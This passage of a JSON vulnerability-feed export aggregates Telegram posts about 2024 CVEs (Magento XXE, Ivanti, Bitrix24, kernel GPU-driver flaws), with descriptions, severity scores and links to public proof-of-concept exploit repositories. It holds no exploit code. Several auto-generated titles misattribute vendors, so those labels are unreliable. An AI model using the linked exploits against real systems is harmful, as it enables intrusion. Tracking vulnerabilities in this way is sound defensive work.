\nCVE-2024-34102 (CVSS 9.8) \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0444\u0438\u043a\u0441, \u043d\u043e \u0442\u0440\u0438 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437\u0435 \u0441\u0430\u0439\u0442\u043e\u0432 \u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438. \n\n\ud83d\udcbe \u0410 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c UEFI\nPhoenix SecureCore \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432 Acer, Dell, Lenovo\u00a0 \u0438 HP. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0434\u0430\u0436\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 UEFI. \u041e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f\u00a0 CVE-2024-0762 (CVSS 7.5) \u043f\u043e\u043a\u0430 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u0442\u043e\u043b\u044c\u043a\u043e Lenovo. \n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #APT #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 @\u041f2\u0422", "creation_timestamp": "2024-06-24T14:58:52.000000Z"}, {"uuid": "12653411-8380-4489-bcb0-873c80761efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34748", "type": "seen", "source": "https://t.me/cvedetector/16643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34748 - DevmemX Use-After-Free Local Kernel EoP\", \n  \"Content\": \"CVE ID : CVE-2024-34748 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : In _DevmemXReservationPageAddress of devicemem_server.c, there is a possible use-after-free due to improper casting. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:33.000000Z"}, {"uuid": "bf8885b8-4de5-4a3b-ad7f-c00c9c8c37ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34733", "type": "seen", "source": "https://t.me/cvedetector/16642", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34733 - Apache DRAM Arbitrary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34733 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : In DevmemXIntMapPages of devicemem_server.c, there is a possible arbitrary code execution due to an integer overflow. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:32.000000Z"}, {"uuid": "7f35b59e-fcd2-4755-8d65-85e2db947842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34732", "type": "seen", "source": "https://t.me/cvedetector/16641", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34732 - Vulnerability in RGX MMUCache Invalidate in AMD Device\", \n  \"Content\": \"CVE ID : CVE-2024-34732 \nPublished : Jan. 28, 2025, 8:15 p.m. | 1\u00a0hour, 25\u00a0minutes ago \nDescription : In RGXMMUCacheInvalidate of rgxmem.c, there is a possible arbitrary code execution due to a race condition. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T22:58:29.000000Z"}, {"uuid": "bd824ec4-879e-4514-90a7-5eb7ab7b1987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/LockBitChannels/33944", "content": "PoC PUBLISHEDPOC for CVE-2024-34102. Pre-authentication XML entity injection issue in Magento/Adobe Commerce.\n\nGIT:\nhttps://github.com/bigb0x/CVE-2024-34102", "creation_timestamp": "2024-09-03T20:11:30.000000Z"}, {"uuid": "ceb9ba46-e641-438b-8058-77f463fc84b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/41AOwW-HVfveJGnWTCUGJmCb5QTVwo4WGVTDiWBY6ulqpQ", "content": "", "creation_timestamp": "2024-08-01T20:58:08.000000Z"}, {"uuid": "05fdd976-d4f4-40ac-b3a7-fc3309d7ad4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34579", "type": "seen", "source": "https://t.me/cvedetector/15675", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34579 - Fuji Electric Alpha5 SMART Stack-Based Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34579 \nPublished : Jan. 17, 2025, 1:15 a.m. | 16\u00a0minutes ago \nDescription : Fuji Electric Alpha5 SMART   \n  \nis vulnerable to a stack-based buffer overflow, which may allow an attacker to execute arbitrary code. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T02:35:03.000000Z"}, {"uuid": "cb174b13-be97-4fb8-9987-8da017539e2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34730", "type": "seen", "source": "https://t.me/cvedetector/16057", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34730 - Padlock Bluetooth HID Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-34730 \nPublished : Jan. 21, 2025, 11:15 p.m. | 39\u00a0minutes ago \nDescription : In multiple locations, there is a possible bypass of user consent to enabling new Bluetooth HIDs due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T01:21:08.000000Z"}, {"uuid": "32eb2242-a499-44a8-9f2a-af604f32cb20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "Telegram/Rc4aowQ97LYVVQDGxjBnVNF9nlBdJPyzpxpsubjMvnRZHA", "content": "", "creation_timestamp": "2024-06-12T15:51:16.000000Z"}, {"uuid": "a6cb35b2-1ca6-40ce-b833-ea15cec9e006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34015", "type": "seen", "source": "https://t.me/cvedetector/10502", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34015 - Acronis Backup plugin for cPanel & WHM Unlinked File Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-34015 \nPublished : Nov. 11, 2024, 2:15 p.m. | 35\u00a0minutes ago \nDescription : Sensitive information disclosure during file browsing due to improper soft link handling. The following products are affected: Acronis Backup plugin for cPanel & WHM (Linux) before build 818. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-11T16:06:19.000000Z"}, {"uuid": "88f5812f-b128-445f-b212-915039449b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34014", "type": "seen", "source": "https://t.me/cvedetector/10501", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34014 - Acronis File Overwrite Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34014 \nPublished : Nov. 11, 2024, 2:15 p.m. | 35\u00a0minutes ago \nDescription : Arbitrary file overwrite during recovery due to improper soft link handling. The following products are affected: Acronis Backup plugin for cPanel & WHM (Linux) before build 818, Acronis Backup extension for Plesk (Linux) before build 599, Acronis Backup plugin for DirectAdmin (Linux) before build 181. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-11T16:06:16.000000Z"}, {"uuid": "77efdc5e-028f-42c2-943a-265313aaa207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2486", "content": "#exploit\n1. CVE-2025-21420:\nWindows Disk Cleanup Tool EoP\nhttps://github.com/Network-Sec/CVE-2025-21420-PoC\n\n2. CVE-2024-34716:\nExploiting Linux Trickster via an XSS in PrestaShop\nhttps://github.com/TU-M/Trickster-HTB\n\n3. CVE-2025-26466:\nOpenSSH MitM/DoS\nhttps://github.com/rxerium/CVE-2025-26466\n]-> https://www.qualys.com/2025/02/18/openssh-mitm-dos.txt", "creation_timestamp": "2025-02-20T05:23:48.000000Z"}, {"uuid": "f2567d5e-6fdc-4a5f-b9a5-b27b1ea0d174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34787", "type": "seen", "source": "https://t.me/cvedetector/10783", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34787 - Ivanti Endpoint Manager Unauthenticated Code Execution Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-34787 \nPublished : Nov. 13, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : Path traversal in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update allows a local unauthenticated attacker to achieve code execution. User interaction is required. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T04:07:31.000000Z"}, {"uuid": "9621d572-c548-4528-aa97-481f1ea0c68e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34784", "type": "seen", "source": "https://t.me/cvedetector/10782", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34784 - \"Ivanti Endpoint Manager SQL Injection RCE Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-34784 \nPublished : Nov. 13, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T04:07:31.000000Z"}, {"uuid": "8886aaf8-732c-41f4-a9da-4b75baac9a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34782", "type": "seen", "source": "https://t.me/cvedetector/10781", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34782 - Ivanti Endpoint Manager SQL Injection Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-34782 \nPublished : Nov. 13, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T04:07:30.000000Z"}, {"uuid": "4c8bb765-e2be-47ba-b31f-6e43c11e2b25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34781", "type": "seen", "source": "https://t.me/cvedetector/10780", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34781 - Ivanti Endpoint Manager SQL Injection Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-34781 \nPublished : Nov. 13, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T04:07:29.000000Z"}, {"uuid": "637a9114-e754-4365-b894-288f4270f03c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34780", "type": "seen", "source": "https://t.me/cvedetector/10779", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34780 - Ivanti Endpoint Manager SQL Injection RCE\", \n  \"Content\": \"CVE ID : CVE-2024-34780 \nPublished : Nov. 13, 2024, 2:15 a.m. | 43\u00a0minutes ago \nDescription : SQL injection in Ivanti Endpoint Manager before 2024 November Security Update or 2022 SU6 November Security Update allows a remote authenticated attacker with admin privileges to achieve remote code execution. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T04:07:29.000000Z"}, {"uuid": "615fc311-4136-4935-871c-2f588fd751ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34729", "type": "seen", "source": "https://t.me/cvedetector/10865", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34729 - Apache Linux Kernel Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-34729 \nPublished : Nov. 13, 2024, 6:15 p.m. | 28\u00a0minutes ago \nDescription : In multiple locations, there is a possible arbitrary code execution due to a logic error in the code. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T19:44:52.000000Z"}, {"uuid": "aec9aec7-730b-4fd3-b8e9-fad9d647a132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34719", "type": "seen", "source": "https://t.me/cvedetector/10864", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34719 - Apache HTTP Server Information Disclosure/Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-34719 \nPublished : Nov. 13, 2024, 6:15 p.m. | 28\u00a0minutes ago \nDescription : In multiple locations, there is a possible permissions bypass due to a missing null check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T19:44:51.000000Z"}, {"uuid": "9470bcf8-94e3-4d45-8e32-e2bd7f376fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3447", "type": "seen", "source": "https://t.me/cvedetector/10936", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-3447 - QEMU SDHCI Heap Buffer Overflow Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-3447 \nPublished : Nov. 14, 2024, 12:15 p.m. | 38\u00a0minutes ago \nDescription : A heap-based buffer overflow was found in the SDHCI device emulation of QEMU. The bug is triggered when both `s->data_count` and the size of  `s->fifo_buffer` are set to 0x200, leading to an out-of-bound access. A malicious guest could use this flaw to crash the QEMU process on the host, resulting in a denial of service condition. \nSeverity: 6.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T14:08:48.000000Z"}, {"uuid": "46660957-f533-4b71-a03b-ca45b79d7d97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34747", "type": "seen", "source": "https://t.me/cvedetector/10866", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34747 - \"Linux Kernel DeviceMem Server DevmemXIntMapPages Use-After-Free Privilege Escalation\"\", \n  \"Content\": \"CVE ID : CVE-2024-34747 \nPublished : Nov. 13, 2024, 6:15 p.m. | 28\u00a0minutes ago \nDescription : In DevmemXIntMapPages of devicemem_server.c, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege in the kernel with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T19:44:52.000000Z"}, {"uuid": "d12f7c41-2bfb-4150-a8b6-6600ecb4cb30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34882", "type": "seen", "source": "https://t.me/cvedetector/9777", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34882 - Bitrix24 SMTP Password Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34882 \nPublished : Nov. 4, 2024, 6:15 p.m. | 38\u00a0minutes ago \nDescription : Insufficiently protected credentials in SMTP server settings in 1C-Bitrix Bitrix24 23.300.100 allows remote administrators to send SMTP account passwords to an arbitrary server via HTTP POST request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T20:18:02.000000Z"}, {"uuid": "09235bde-5883-4126-935b-ae32c9b64cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34891", "type": "seen", "source": "https://t.me/cvedetector/9785", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34891 - \"Bitrix24 DAV Server Unauthenticated Credentials Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-34891 \nPublished : Nov. 4, 2024, 7:15 p.m. | 38\u00a0minutes ago \nDescription : Insufficiently protected credentials in DAV server settings in 1C-Bitrix Bitrix24 23.300.100 allows remote administrators to read Exchange account passwords via HTTP GET request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T21:08:16.000000Z"}, {"uuid": "2e7b72a5-089b-4d11-a3c7-a69e0fe1ee28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34885", "type": "seen", "source": "https://t.me/cvedetector/9784", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34885 - Bitrix24 SMTP Server Unprotected Credentials Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-34885 \nPublished : Nov. 4, 2024, 7:15 p.m. | 38\u00a0minutes ago \nDescription : Insufficiently protected credentials in SMTP server settings in 1C-Bitrix Bitrix24 23.300.100 allows remote administrators to read SMTP accounts passwords via HTTP GET request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T21:08:13.000000Z"}, {"uuid": "dd4ab581-b7fa-43b1-804d-47005e7412af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34887", "type": "seen", "source": "https://t.me/cvedetector/9779", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34887 - Bitrix24 AD/LDAP Server Credentials Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-34887 \nPublished : Nov. 4, 2024, 6:15 p.m. | 38\u00a0minutes ago \nDescription : Insufficiently protected credentials in AD/LDAP server settings in 1C-Bitrix Bitrix24 23.300.100 allows remote administrators to send AD/LDAP administrators account passwords to an arbitrary server via HTTP POST request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T20:18:04.000000Z"}, {"uuid": "616a1d35-1da9-40a1-b142-222cae037b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34883", "type": "seen", "source": "https://t.me/cvedetector/9778", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34883 - Bitrix24 Credential Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-34883 \nPublished : Nov. 4, 2024, 6:15 p.m. | 38\u00a0minutes ago \nDescription : Insufficiently protected credentials in DAV server settings in 1C-Bitrix Bitrix24 23.300.100 allow remote administrators to read proxy-server accounts passwords via HTTP GET request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T20:18:03.000000Z"}, {"uuid": "14fd1886-93dc-4018-ab39-b997cf78895d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34673", "type": "seen", "source": "https://t.me/cvedetector/9983", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34673 - AT&T Modem Input Validation Denial-of-Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34673 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Improper Input Validation in IpcProtocol in Modem prior to SMR Nov-2024 Release 1 allows local attackers to cause Denial-of-Service. \nSeverity: 4.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:46.000000Z"}, {"uuid": "2aa966c4-f8c8-4bb0-8394-91e0a2899d24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34065", "type": "published-proof-of-concept", "source": "https://t.me/TheMalware_Team/3786", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-24T22:29:42.000000Z"}, {"uuid": "1008bd3e-9611-4af7-a0cc-149cd4b43359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34677", "type": "seen", "source": "https://t.me/cvedetector/9987", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34677 - Samsung System UI Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34677 \nPublished : Nov. 6, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : Exposure of sensitive information in System UI prior to SMR Nov-2024 Release 1 allow local attackers to make malicious apps appear as legitimate. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-06T04:57:51.000000Z"}, {"uuid": "200d1d6e-5aa1-4443-8c3b-3365c48b6014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34676", "type": "seen", "source": "https://t.me/cvedetector/9986", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34676 - \"CenOS libsubextractor.so Out-of-Bounds Write Vulnerability\"\", \n  \"Content\": \"CVE 